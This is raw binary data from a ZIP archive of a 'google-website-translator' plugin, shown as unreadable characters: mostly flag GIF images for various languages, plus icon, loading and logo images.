¡¢£¡6‹4©67©©78‡+),-(+5‡89Š1'*0Š9:Š/#ƒ$.Š:;‡!%& ‡;<©"©<=©32©= îïðñï øøúùûþøHE0€ ?*\È!@;PK.—[#ÂKuUU*google-website-translator/images/Hindi.gifnu„[µü¤GIF89aæÿÿÿæèôÇÌ窳ÙÈÎ誴Úàäòèì÷‹È¿Éáqˆ¼w¿‡šÇ´ÀܶÂݹÄÞÀÊáÃÍãÈÑæÇÐåÆÏäàæôæëö²Ãä³ÃäÊ×îêïøÌÙî”U–X—Z–ZV%š^#Y#X'š`%‘Z(›`&’[&’\*›c(”^(“]*•_˜W˜X šY$š] šXì•Lì—OîœXîžZïž[ð¡]ï ^ð¡_ð¢aõªk÷¬mõ«lñ§jò°yó²{ô·„ô·…ôºˆõ¿’õ¿“õÙûûûùùùøøøöööôôôóóóÿÿÿ!ùN,²€N:ƒ„…††N8G‹ŒŽŽ;7FCB”•”˜™B›E95DA¡¢£¤¢D63@?«¬?<==>­¬@4H¸¹¸ººHIÀ¸ÄIJÌ  ÌJKÌ ÌKLÌÌLMÌîM)"øù.02/úùb°X¡ć \¨áA-Lœð@±¢Å‹O  Q¢£Ç AŽp¢¤É“(Q: ;PK.—[çTïoo*google-website-translator/images/Hmong.gifnu„[µü¤GIF89aÆYÍ#Ý"Ý#Ý$Ð#'Ý!%Ñ%*Ñ&+Þ#(Þ%*Ò).Þ',ß'+Ò+0ß(,ß*.ß*/Ô.2Þ,0Ô/3Þ-1à/4Õ37Ö48à37×7:×8=à6;Ú;?Ú>BÜ?DÝBFãBGßDHãDGÞFJàHLàLPáLPâOTãOTåPTæPUåRTãSWäTWäWZæWZæX[å[EæY]ç][æ^aç_bçd`èf`èh`éjmènYèmpêuxêvxëy|ë{xë~ì‚샆ì…툀툆í‰íŠíî”–î•–ï–ïšjðšjï––ñ¡uô»}öÇL÷ÊZ÷ËsøÓgøÒrøÕ{úÜ’þüoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ!ù ,Ì€0ƒ„:3„ˆ‰/IINJW”•2-KGPFD@ACVAŸ£A£@@H.(ESXU?<<=O²¶·LTM9Á9ÀÂÅÁ>'$;8474Ï6RÏÓÔ4;%!5)ÛÛQ+Üàà5#* ç "1"èíí* ôõö÷õ þÿþàÁB*\˜°Â… HœH±âD < `@ÇCrÙQ„Xɲ¥K–`@³¦Í›7 üÀ³§ÏŸ?ÿ;PK.—[̘`[[.google-website-translator/images/Hungarian.gifnu„[µü¤GIF89aÕÿÿÿà:Eâ?Há?HãBLâBKåFPåGQäGPæIRè[cêgoêksëqyëryìw킈î‰|9}; < v9x<‚A‚B{?{@„E…F†F~B~DFGûûûùùùøøøöööôôôóóóÿÿÿ!ù),xÀbH,©ƒdÉl:ŠBäA­>V,Õáˆ$†xL.!AcÁn»ßía¨Ûïxüˆ”ï÷I%~‚v%&ƒƒ&'‡‚'(‹~(!”•–—•"žŸ ¡Ÿ ¨©ª«©±²³´´)¹º»¼¼)A;PK.—[¾7W.google-website-translator/images/Icelandic.gifnu„[µü¤GIF89aæÿÿÿæ^aî”–Ý#Ý%Ý!&Í$Þ#)Þ%+ß',Þ'-à6<Ú;@Ú>CÜ?DãBGÝBGæPUåPUæX\éjnêuxêuyì‚ /‚5†6‡x¿/Š 1‹ 3Œ53…4…99<>’:‰>’;ŠA“=Œ? B"D7Wž;Z¡;[ ?_£@^¤Ca¥Cb¥Ge¨Gd§Hf©Jg©Nk¬\v²\w²_y´h€¸h€·l„ºrˆ¼r‰¼x¾‚–ÄŠÈl…ºùùùôôôíííÿÿÿ!ùJ,Ü€J8ƒƒ„ŠŠJ6E––95DBAœœB£œAAD73C?>­®?µ>··40@<;¿;<ƾ¿¿F2/=:Ï:ÐÖÐ=1GÜÝÝáâGçèéêè ñòóôò Hâ úúH-T€"*$¨ÂÅ "~`À@‰%š`q¢„‡(¤I%Rh Ñ¡e‡pIÓ%‰ !FèÔ@‚;ƒ¡$ƒQ£IHr´iS%;PK.—[fdÒ§§)google-website-translator/images/icon.pngnu„[µü¤‰PNG  IHDR szzôsBIT|dˆ pHYs  ÒÝ~ütEXtSoftwareAdobe Fireworks CS5qµã6!IDATX…Å—ËoUÆçÞÛq’&!4(MR*ÒY QP^‚ [D×ePý*$lXP„*±`‰hUH Á¢Ò¨•* Dª%nÓÄnmÇó`1¾Ž§3žR*…#[²¿9ç»çy-AðŠltßÔËo¾?;7÷ÔV:þåôé3—N~ñž<ä³kGžØJÿ\X,qøØ7KV¶Ð7<=:ÀÇßžÛRo¿0ÃîÉÖQXZm)–_óA‰Ü—¡·j\YºÉÚízD_ìvxx¸—þ\6€mÅ#0Ò—G)aµR£Ro¤¸¸Xâð«Org-]X,qôëŸyî±Ñt–ŠèÍ9ûþwJå*….žžÜžh¨îzøAÀñ/Q©…d{»¦Fú©»^¢ý;¡´¥r•®L+•«‰8#ýù,<؇n:ó|Ÿ™ƒíGh¯iÖE!› ºá&âŒÜ¨ÔXXYçz¥À¶|–Œ¥;ÚHêóP_Î`yývj·ôç³ìÚÞOÃóðÔ¦&:=×"`˜¶‹éŒBW†4@αY­Ô,vGôçÿ^!çØŸk+ÂxˆTS×ÓF ðÌ®>:u–õêFDß•±xvꡎϥFÀ¤Àa'ÀÄP‘ýÓ;xçøä€J½ÁÁ}»ñ1I9JâœVoRV©7î:aÓÛ0¡wÓÚP7Ë5#p7|„@Z Ú¥S œùì&4|„@b&ì‡NÅ›EÛ4|„@ÆNhä$àZxI(Ú|„À³úÏå5N_àÄÙ¿ZúO¿»ÈK{Ƙ*ÆŒ™”9mN;í€[+Ìí0¾üé2ï¾òDâvûàįy}.fÌ÷ã÷K“E%Òííqì‚ i$ l¡NÛ­Roàù~êÉŒx~¦&|¡”$ÈX/pññ½ð$iÛmÃðnخ磕 •F)ÁÒªÕ-JI˱Y&iÛmÃõbÎL VÖ«-¹ ˆ„ÎMb´\/¬NÛ­ž@Àõ}Æ{8óÇãCE\ÏG‰B˜êĘ‘éê¡§+Óq»å;±àퟡÞp©7<žß<Œˆ µÂR*2ž£]XJp,Ík³;ùðä|ì.˜slìôº‘k«·"ßEG+2¶Æ±4–´’ÈxŽD@š­""ÌN<ÀžÑAü hâ^E‰ D°-EÆ Id,ñ‘6@ìÑ Ïhwýo‰´p“wK«VDаºvýêüÂòÈãcC(-hÂt˜yð_OßN¦Õÿ²9æ–ùíò•«28¹÷Å™7}ž-ô ß—§{”ZyuéÜWŸ¼%@(4ß=@/оAîï/‘,zÀM`(å+êJº ƒžàIEND®B`‚PK.—[#ÂKuUU)google-website-translator/images/Igbo.gifnu„[µü¤GIF89aæÿÿÿæèôÇÌ窳ÙÈÎ誴Úàäòèì÷‹È¿Éáqˆ¼w¿‡šÇ´ÀܶÂݹÄÞÀÊáÃÍãÈÑæÇÐåÆÏäàæôæëö²Ãä³ÃäÊ×îêïøÌÙî”U–X—Z–ZV%š^#Y#X'š`%‘Z(›`&’[&’\*›c(”^(“]*•_˜W˜X šY$š] šXì•Lì—OîœXîžZïž[ð¡]ï ^ð¡_ð¢aõªk÷¬mõ«lñ§jò°yó²{ô·„ô·…ôºˆõ¿’õ¿“õÙûûûùùùøøøöööôôôóóóÿÿÿ!ùN,²€N:ƒ„…††N8G‹ŒŽŽ;7FCB”•”˜™B›E95DA¡¢£¤¢D63@?«¬?<==>­¬@4H¸¹¸ººHIÀ¸ÄIJÌ  ÌJKÌ ÌKLÌÌLMÌîM)"øù.02/úùb°X¡ć \¨áA-Lœð@±¢Å‹O  Q¢£Ç AŽp¢¤É“(Q: ;PK.—[Žô-ûZZ/google-website-translator/images/Indonesian.gifnu„[µü¤GIF89aÕÿÿÿæ^aîŽíî”–Ü?DãBGÝBGßDIÞFKàHMáLPàLPæPUåPUãOTâOTãSWäTXæW[æX\äW[æY]ç_céjnèmpêuxêuyëy}ì‚ë~샆샇öööôôôóóóñññðððïïïîîîíííÿÿÿ!ù*,w@UeH,*JaÉl:—ÉÀó¡V©ØìgK°@@NxÌoÎåtHÂèdÞð¸Þ‰,4‚¼~Ï×k ƒ„…†„ ŽŽ"–—˜™™"#šžž#$Ÿ£—$%¤¤%&¨£&'¬Ÿ'(°ž(*)¸¹º»»*A;PK.—[]Ýgff*google-website-translator/images/Irish.gifnu„[µü¤GIF89aæÿÿÿuAzH{J‚T"…W#U2‹b:‘i>”lB–oPyk®wB xD p@ yF{HsC{I|JuE~L€NxIQ{M~Q)„Y.ˆ]0Œ`6Žd?”l@•mF™rG™rMw[¥[¥‚^¦ƒg«‹q±’r±’r±“w´—‚ºŸ‰¾¥Ùièqéwày%èˆ:ï[ñ§kô¹‰èjèkèl Øe èn èoéqÚkésésÜnêxÝqë{"ßu!ä|+ìƒ0æ€0æƒ6í‹?êŠ?í@ìBîGíGî’Iî”Mî•Pð[ïž^ñ¤gòªqòªrò­wó´‚íííÿÿÿ!ù\,À\$ƒ„†‡†OŠ‹\#/ˆˆ7”•Q .,*,++’‡XXW¡ZP!-)©©Ÿ†V®®YN &'&·¬5T»56L (%ÃùRÇÇU4 !! ιKÓÓSJ"ÚÚ¹HÞÞMIåå¹>ééEGð¹=õõC3üü¹<Ê0²ÃséX¸0‘ H”˜+‡E‹@„X  cÇ\8B†ôñc…“(sÅXÉ0cn™Is掛8¹;PK.—[/ñÄff,google-website-translator/images/Italian.gifnu„[µü¤GIF89aæÿÿÿæ^aíî”–Ý#Ý$Ý%Ý!&Í$Þ#)Þ%+Ð#(ß',Þ'-ß(-Ñ&,ß*0Þ,1Ò+1à/5Ô/4à38à6<Ö49×8>Ú>CãBGÝBGÞFKàLPæPUåPUâOTãSWæX\äW[æY]ç_céjnèmpêuyëy}ì‚ë~샇–X—Z–Z!˜[V#™]#˜]%™^#X'›`'š`%‘Z(›`*›c)”^-d/žf.–a3Ÿh6¢k3˜e7œh;Ÿl?¢pB¨tD¥sH¨wLª{O­~P¯P®~T®€W°ƒ^³ˆ_´‰j¹‘mº“u¿™yÀœ~àà”ͰX±ƒƒÆ£ŽÊ«”ΰíííÿÿÿ!ù],À]Xƒ„†‡†#Š‹]NW[‘ˆˆ•–%MZVU›U“‡++,£$JYS©©Ÿ†)®®-"ITQµµ¬'ºº*!HROÁÁ¸ÅÅ(GPLÌ̸ ÐÐ&EKF×׸ÛÛDA7ââ¸ææC@5íí¸ ññB>4ø43¸ ýý~ôˆA .J¨ÀcŒ/`ÀÀuà€‹&äÐá¢cG\B†|ÁŽ“(q5XÉ’A0cr™Isf‚›8»;PK.—[–Ÿ:áEE-google-website-translator/images/Japanese.gifnu„[µü¤GIF89aæÿÿÿÜ Ü ÜÝá03æORç[^ègjÜ Ý Ü Ü Ýá05â4<æMQæMRåOVæRVè[`è^cè_eì‚üäåÝ ÝÝÝâ0:â3=â5?ã=Eä>Hä?HæMVçV^é`hêelñ˜žò¥ªó¨­ö»¾ö¼À÷ÇÊ÷ÉÌøÍÐð–öÁÅùÒÕúÙÜüæèÛ Ûâ?>â??ç[[æ[[þùùþúúÿýýÿþþþþþýýýüüüûûûùùùøøøöööôôôóóóñññðððïïïîîîíííÿÿÿ!ùO,¢€Oƒ„…††‚‡Š‹A‹Ž„ABŠ6,))+ŠBC‡3<;-‡CD†5%­%4†DE†9$$#¹$:†EF…@&ÇÈ>…FG…?"ÔÕ=…GH† 8à8†HI†/ î .†IJ‡* 77 2‡J–(Š"ˆ0-aâèÇGLš­¬@4H¸¹¸ººHIÀ¸ÄIJÌ  ÌJKÌ ÌKLÌÌLMÌîM)"øù.02/úùb°X¡ć \¨áA-Lœð@±¢Å‹O  Q¢£Ç AŽp¢¤É“(Q: ;PK.—[|¶D²II+google-website-translator/images/Kazakh.gifnu„[µü¤GIF89a÷ÿÿÿwªy« z¬ z« q  {¬|­|¬t¢}®}­}®~®v¤€¯±z§ƒ±}©„²%ƒ­+ˆ±0ޏ0‹´6Ž·:’¹>–¾?–¾?•¼@—¾B˜¾Fš¿G›ÀI›ÁMžÂOžÂPŸÃ[¦Ç^§Èr²Ï‰¿× zª {©}§"‡³!«3¶B—¼^§Æ^§Åg­Ëk¯Ìq²Îr²Ît³ÍwµÐu³Í»Ô|§r±Å{¶Êz¶É]¥¹H•¨Sž°Tž°)†›*†š*†™,ˆœ,ˆ›.‰œ1„•<ŒžVŸ¯-‰š0Š›/ˆ˜X ®0Š˜1‹˜1‰—.Š4Œ™4‹—c¦¯0ˆ“4Š•\¢«¶½8Œ”9Ž–6…ŒSœ¢^£ªc¥ª8Œ’;Ž”9‘?’P–˜V TšœWž c¥¦{³´„¸¹=ŽI‘YŸž^Ÿž<ŽŒs­«¾¼<‰o«§A‰ƒ`¡šƒ¶¯E’‡L•Šk§œQ’…Q˜†©ÌÃR—€U™‚¥Ç´^›xX‘pcž|fŸ~‡µ˜fŸx¹›¢Ä¬o¤zt¦~šÀ¡s¦{¢Ä§n£uе’º—¢Ä¦t¤r¶Ð´y§oz¦h›½…³q›¹uÈØ°’±_ »s¼ÇaËÓ‚üà:ýãHúáJýåVýæVúäWüçdÿÿÿ!ù¦,ÿMº"¢ Áƒ šª£ÉЇ#J„8" ¥96Rܸ‘"?t¤È8ÒÆ!†ÚB£eËl$9bÓÃ¥Ë ö$Âs¢ç k<•*åiÍ Ÿ=kx€ÃH‰§$€DEŠÔ¨H@H”€ŠbCDZ:pˆF$P¡B‚ÄD ”pMh@sé 08}IÓéÓ§NiÎdzsÇ f0éqÀ˜P'e=*“¤K¥1Œ¸¸°d‘ BÒ¤‰”(\5IA nµ9@û€‘'E¦C&KmÚ^ðQ”‡€ñã-þ²§Àqã(()„e€õëXðXý: ^&Ñ&@¾¼ùóä<°³©Ï â3˜/¾ýø L ¢b ¿ÿÿúgJ@;PK.—[3´ŽŽ*google-website-translator/images/Khmer.gifnu„[µü¤GIF89aÆ|.Œ . 0Š2…3…5ˆ5‰8Ž8‘9ˆ:‰;Ý!&Þ#)Þ%+Þ',Þ'-Ô.3Þ,1ß,1Ô/4Þ-2à/5Õ37Ö49à38×7;×8>à6<@]£Ú;@C`¥Ba¦Ú>CÜ?DFd¨Gd§ÝBGHe¨ãBGJf©ßDIÞFKàHMàLPáLPâOTåPUæPUæ[_æ^aæ^bç_cçafh€·èfjèfko„¹éjnq†ºélqqˆ½rˆ½èmpr‰½épséptérux¾éuyévyëy}–Å‚–Åë~‚ŠÇ톊퉌îŠï’•ï“–ï”—ï™›ò¥¨ó®°ó¯±ó²´ôµ·ô¸ºô¹ºô¹¼õº¼õº½õ»¼ô¼¾õ¾Àö¾ÀõÀÂöÂÄõÃÄöÃÅöÄÅöÅÇ÷ÆÇöÇÇöÇÉ÷ÈÊ÷ÌÍ÷ÍÎøÍÎøÍÏøÏÑ÷ÐÐ÷ÐÑøÒÓøÒÔøÙÙùÚÛùÚÜùÝßùÞáúßàúáâúããÿÿÿÿÿÿÿÿÿÿÿÿ!ù ,ë€&ƒ„…††$K‹ŒŽŽ( I>=@>>@–@•›™==>H#D6¦§¦9;¨¨D-G:²²A²PR²B³²G.+?2ÁÁQ32UYÃÅÂ?,)4/Ð/EuNCjnFMtJÑ/4*"0'ã'Ll^ahdZcmOä'0%ö7_We_XiVf‚܃À!„† <ˆq§‹=sÞèÁs&Ž 3l¸`¡Aƒ\äLY#Ì9q¨ÀÃã *0˜I³¦Mš($X  §ÏŸ@}.PP€£H“*EŠÀÀ€P£J:•ÀŸX³jݺõO ;PK.—[$S5Ó??+google-website-translator/images/Korean.gifnu„[µü¤GIF89a÷ÿÿÿÚ%(æPQêvwØHNøÞßÒKTÕRZ¨Ke/S’Jml9kMLM:3{ýýþüüý%)y69‚@O”êìó )‡ )…:QšBW½ÅÞ-†.‡1ˆ3Œ6‹:Ž;ŽD_§Jb¥²¼Ùçêò1ˆ6876ŒB\¡½ÇàÅÍâ9‘åéòÜéöûýýúûûýýüûûúææåÿãàå(&ë@=îB?æCBåFFìPNçPPëTSæUUì^]è[[ç[[è^^ñpmëttð““ï’’ùÑÑúÕÕûÝÝþööÿýýÿþþ‰ˆˆþþþýýýüüüûûûùùùøøø÷÷÷öööõõõôôôóóóòòòñññðððïïïîîîíííèèèçççæææäääãããâââÜÜÜÛÛÛÚÚÚÓÓÓÐÐÐÊÊÊÇÇÇÅÅÅÂÂÂÁÁÁ½½½¼¼¼»»»¸¸¸¶¶¶´´´¯¯¯­­­¬¬¬¨¨¨¦¦¦¥¥¥£££¢¢¢œœœ–––”””“““’’’‘‘‘ŽŽŽƒƒƒ‚‚‚vvvuuuooommmllliii```^^^\\\[[[WWWVVVTTTLLLEEEBBBÿÿÿ!ùš,ÿ5H° Aƒ ‚Ár° •0 ÄÒGω”Áã'Ë@'OÖô‡Ï@&J”0˜'Ð7Ÿ@ €æÐ &b$)B„ˆ‘$¼Ø!„(M(QPaƒèM$B|ÒãÇ‘nµ¡ Š‚bb  c c A)S R8p#Ž&$¨apJƒ/°¡ Å  ¬r…à˜BDp€"… –È Cð Ã)r*Ý °¢C…,lÀŽ%:\±h S#Jf°⃊ ¾r”IN-[.RéÑÀ$\@ÈHR!A!·p¦Á¤933Ât b.]ªqÛp 5»hòB¿¾ýû÷5;PK.—[.Øí\\,google-website-translator/images/Kurdish.gifnu„[µü¤GIF89aæÿÿÿÐ#'÷ÌÍÝ#Ý$Ý%Ý!&Í$Ð#(ß',ß(-Ñ%+Ñ&,ß*/ß*0Ò)/Þ,1Þ-2Ò+1Ô.3Ô/4åSX펑ð–šñ£¥ñ¥§ò¨ªó®°ô±³ó±³ùÓÔö°´üÔÖüÕ×üÙÛýàâûêëûìíûÖÙüïðLªzLª{O­}O¬~T®€W±ƒW°ƒY²…j¹‘q½–r½—yÀœ~àà€Ä¡€Ä¢Ê«”ͰW°‚X±ƒr½–ŽÊ«”ΰ÷ÇÇûççüëëûûûùùùøøøöööôôôóóóÿÿÿ!ùK,¹€K>ƒ„0„‡‡†K1dXàÁ hÜȱãÆ (I²¤I“ – Xɲ¥K—K;PK.—[.ׇGG+google-website-translator/images/Kyrgyz.gifnu„[µü¤GIF89aç Ü"Ü"Ý"Í#Ý"Ý"Ý#Ý$Ý#Ý$Ý%Ð#'Ý $Ý!#Ý!%Ý!*Ñ%*Þ"(Þ"*Ñ&+Þ#(Þ$,Þ%*Ò).ß&(ß'(Þ',ß'+Ò+0Þ)%ß(,ß+$ß*.ß*/Ô.2Þ,0Ô/3Þ-1à/4Õ37à2"à2#Ö48à37×7:×8=à6;á:(Ú;?â=(Ú>Bâ?!Ü?DâA"ã@GÝBFãBGßDHÞFJãJ*àHLàLPáLPåR)äNTåNTâOTãOTåPTåU#æPUåW"ãSWäTWæ[$äWZæWZæX[æ^$æY]çb&æ]aèc&æ^aç_aç_bçbEçaSèbRègDéiméjmèmpéomépmëyCêtxêuxêvxë}Bëy|ë|ì|‚ì~xì}‚ë~ì~‚ì€xì‚ì„^íŒì‡^샆í%îíˆwí‰wî‹jî“%î”"î”$îjíîŽï™"ï—Pðî”–ñ¦!ñ§#ñ¨#ò¦Nò« ò¬ò­ó®óªNó¯ó²"ò­ió¶"ó³@ó¯iô¹ôº ô»ô¼?õ¿ô¿?ô¾Lõ¿Lô¿ZõÁZõÂZöÅgöÅhöÈK÷ÌK÷ÑYøÑYÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ!ù ÿ,þÿ5H° Aƒÿ˜üYȰ¡C‡O’ìa“†bE5eÌ”A£¦¢Å4z– ¦dI0bÎÌ¡³F “%á ñAf‹Í-ZºÔY¤i“£<^´ÜÜBF.S’F™ÒæÒ§L™(î`‰  H0ý5f¤h` uê!8%@ðP ¼y@À¼yl˜O¿¾}û þ ØÏ¿¿ÿÿ;PK.—[hõà™‚‚(google-website-translator/images/Lao.gifnu„[µü¤GIF89aÆi ,Š -Š0Š0‹ 3Œ3Œ4Œ 57Ž98‹=Œ>’>’?@”A•B‘C•!D’!D–$F’Í$#G—&H“ã Ý$Ý%Ð#'Ð#()J–0J™0Kš×%(×%),M–.O™Ò)/ß',Ò+1ä'*1Rš1Rß*/ß*03Sœ6V6WŸ:Z£;Z¡:[¡?[£?\£?^¥?_£@_¦A_¤Fc§Md©MdªPd¤Re¥Jg©Mj«Mk¬Pl­ãOT`p«Ys°ãSWçTV\v²\w²æW[èWYæX\æY]^y´gw®hx¯c|µh¹lƒ¹l„ºl„»l…ºêuxêuy†‘½‡’¾î~€î샆샇ðŽðŽî”–ØßíÕàïÛáîØâðÞãðÛäòàåñÝæòÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ!ù ,߀Kƒ„…††I`‹ŒŽŽLF_[Z”•”˜™Z›^JB\VW¡£W¢V§¥©]E1SHG°G¯NXYOC¯±GU6/M@ÀÀ;QdiihT:ÁÀM2-A5Ñ549cÆÆg>3Ò5A.$8*â* P××Rã*8) ñ ?çÆDò #xæ\ "€!„!€!Ƙ™"B„0aA CPÀ£‡H‘ ”X¡A×^ÊlÓ¥'B ÈÀ³§ÏŸ=Qˆà`¢¨Ñ£H‘vøc¡©Ó§P¡þ ;PK.—[—Îünn*google-website-translator/images/Latin.gifnu„[µü¤GIF89aæÿÿÿ[šÀ l£p¦s¨t¨p q¡"z¬)z©0„³.}«0‚±2¯?‹·?‹¶@Œ·?еF¹GºP•½[ÁrªÊrªÉ‚´Ð‰¸Ó kœ lœB‘ºG–¾G•½k§Ç‰»Õ»ÙèÍãîz¬%‰µ&‰µ4‘ºG›ÀG—¾KÁR™¹h­ÌwµÑ~·Ñ‚ºÔ…½Öˆ½ÖŠ¿×‚´Ê¥Îá§Ïá¨ÎàºÙèÁÝê¿ÚçÇàì½ÕàÉáì<‘¶JÁJš½X¤ÅY¥Æ|¸Ò„¼Ô´ÊŽÂؘÈÛžËÞ¨Ðá´×æ¼Ûè¾Üé¾ÜèÀÝéÃßêøûüþþþüüüùùùôôôïïïÿÿÿ!ùU,Ë€U22ˆ)‹ŒU!II—HH5›œ-44©ª«©PCHGG±±7"7¸¹¹86Q¬©OÄÅÅ .FEEÌÌ:<:ÓÔÔ#900¿¿R  BB (*>ðññ@? ,,$ü&%ÿžè1EœAVSv8iÂDÉ’&#J”èdÇ2jÜÈQcDb¼I²¤I’1fP9È2•AbÊœI“æŠ*rêÜ©“COŸU;PK.—[à®ØGqq,google-website-translator/images/Latvian.gifnu„[µü¤GIF89aÕÿÿÿ¡Îqrª«¬   ¬ ¢®­®¤¤¯±±§¦±¨©««!!¸66»::¹::½??¼??¾BBÀFFÀGG¿GGÁIIÂMMÇ[[È^^ËggÌkkÏrrÎrqÎrrÐwwÔ‚‚׉‰ùùùøøøöööôôôÿÿÿ!ù2,Ž@hH,²OkÉl:" ¥¢¦P¨«E¥Vˆ³2™ÏèôyåÑœHð¸|?u2¥‘~ÏïïK.ƒ„…††./‡‹‹/0Œ„01‘‘1š›œ›¤¥¦§¥®¯°±¯ ¸¹º»¹  ÂÃÂÄÁÁà 2ÏÐÑÒÒ2A;PK.—[d‰8MM/google-website-translator/images/Lithuanian.gifnu„[µü¤GIF89aæÿÿÿÐ#'Ý#Ý$Ý%Ý!&Í$Ð#(ß',ß(-Ñ%+Ñ&,ß*/ß*0Ò)/Þ,1Þ-2Ò+1Ô.3Ô/4#™]#˜]%™^'›`/žf3Ÿh6¢k3˜e4™g7œh8œi;Ÿl?¢p> nB¨tB£sD¥sF¦uH¨wL©zP¯P®~P­~^³ˆ_´‰mº“ùíFûîJùíJüïMûîMýðPýðQüïQýðTýòeýópýótýôzýô{ýô€ýõ‰ýõŠýõÿÿÿ!ùA,ª€A5ƒ„…††A4@‹ŒŽŽ72?<;”•”˜™;›>60=9¡¢£¤¢=3/:8«¬­®¬:1'.,µ¶·¸¶.(%-*¿À¿+ÁÄ-&!)#ÊËÌÍË)$ ÔÕÖ×Õ"Þßàáßèéìíôõö÷õ ÿ èOà?$,P0 ¡Ã‡*` Å‹3fDä€Ç C† ;PK.—[ŒãGÕ,google-website-translator/images/loading.gifnu„[µü¤GIF89a„'''777___bbbgggkkkwww–––———ššš­­­®®®¯¯¯äääèèèêêêïïïñññòòòùùù!ÿ NETSCAPE2.0!ù ,!à'Ž‚0žçQUŠ2+ãžÆjÌ'EágQðÀ pH,Ÿ!ù ,*à'Ž‚0žçQUŠ2kUû+²VöGQФW HƒžrÉl:ŸÐ¨-!ù ,4à'Ž‚0žçQUŠ2kUû+²VöGQФW HG«G˜ìL¶åÙ˪vËízC!ù ,:à'Ž‚0žçQUŠ2kUû+²VöGQФW HG«G˜ìL¶æ³wL.m aO4ØmE³ÚwÜ !ù ,Aà'Ž‚0žçQUŠ2kUû+²VöGQФW HG«G˜ìL¶æÓU<&—¨_°2tVª• V‘Ñlal¯ä !ù ,Ià'Ž‚0žçQUŠ2kUû+²VöGQФW HG«G˜ìL¶æsXHF¤rY)~ÁÊp´S±v§G%ÒˆÍj.ó²÷)¹B!ù ,Tà'Ž‚0žçQUŠ2kUû+²VöGQŠdthD‚$qp´;JAD˜ìJ» j]™šˆ„„ d:G•⬠G;kwzT"ج撷z"%.!!ù ,Sà'Ž‚0žçQU*>UÔ¬MT=çZ!+¿ž•‚BQ¬ £ƒ‘’„²%ÐM"ÂDW²b?ZîGÉtB¥Ž–(X¹•Š¥;Ád4Î5W»H&(!;PK.—[‰BÆ4XX)google-website-translator/images/logo.pngnu„[µü¤‰PNG  IHDR12õ3² pHYs  šœ cHRMz%€ƒùÿ€éu0ê`:˜o’_ÅFÞIDATxÚ´Z{PT÷½ÿœçîÙ»,,ì"  >`% QLLƒÆÔfÌCÛ´j¼õNÒI›jMfâ½i¦ioÓ›´ÉM“t¦i›ö6s-½æqu0±‰yˆÐàŠ¢¨A^»(»ËkÙe÷ìž=¯ûG8*$íoæ7ÃpΜý}¾Ï÷óýžC$“IL·R©TUÅÈÈ>þøc¬[·ÐÓÓƒH$’$AÄ"¿ßÿ-‚ PUUµoÑ¢E¾X,†ÞÞ^øý~”——#‰`tt”(,,ÌhmmÍèïïO2ëõúTfffláÂ…ÃDžΟ?ŸX»v-š››122‚òòrÄb1ø|>èõz@§ÓA°, UUyyy 1‡E’$t:DQ\|éÒ¥'._¾|ÿš5kþpË-·ü<==ÅbˆF£ i Ãp+;::îimm]‰DnáyÞ ( £( M„J’¤DÓ´h6›»ÇEUUëôzý,Ëö2 3ësÍÃ0ÁÖÔÔôxCCÞd2iصk×Ã%%%Õ]]]ˆD"„ÑhÌ8þüöúúúmÁ`°<™LREAÛ@XAØh4ºÔï÷/mjjÚfµZC………ï§¥¥ýÁår5Œßûå@¨ª ŽãÐÞÞ~{MMÍo._¾\b±X†îºë®¯UVV~èóùÇÁ²,U__¿ÃëõþÄçóÍgY4MÃh4ÞðLY–!IdYMÓ IEAUU eƒÁ9{ö쎲²²wV®\ùc–e;¾0‚ `4á÷û¿[SSób,3Æä®]»¾[VVö!˲Ðét›¿oß¾W½^ï}EÁd2Ý`I’ I(Š’-KNNεüüüþ‘‘‘‹ªªÆiš–£Ñ¨ÁétœÓ§OóòåË÷¬Zµê‡EEE¿–ey"fbÜ2DMMÍ {iúó[|ðÁ§¾ò•¯”eEappðöC‡½‡ ¦º?•JA–e8Ϋ .Þ»wï7‚‰Åb8~üøw<ø² &Žã’$!•J$I˜L&‘¦é˲²¢(•$‰‹Çã$EQ0 ‡Ã…úÓŸÞ‰D"?½ûî»ÿÓh4Âl6_g|xïä0 Éd¹¹¹ç÷ìÙ³=33sD?~ü{û÷ïÿMÓŒ^¯‡(Šev»=TTTt|Þ¼yI’ôÙ’%K†-‹ ( Ñßßoþì³Ïr Ãê¶¶¶õ>Ÿoµ$IŒN§£8ð3I’˜;wþDóäQAQB¡PÆ»ï¾ûÄär/Š"V®\y0333AŽ;¶Ùçó• †‰{$I‚N§ 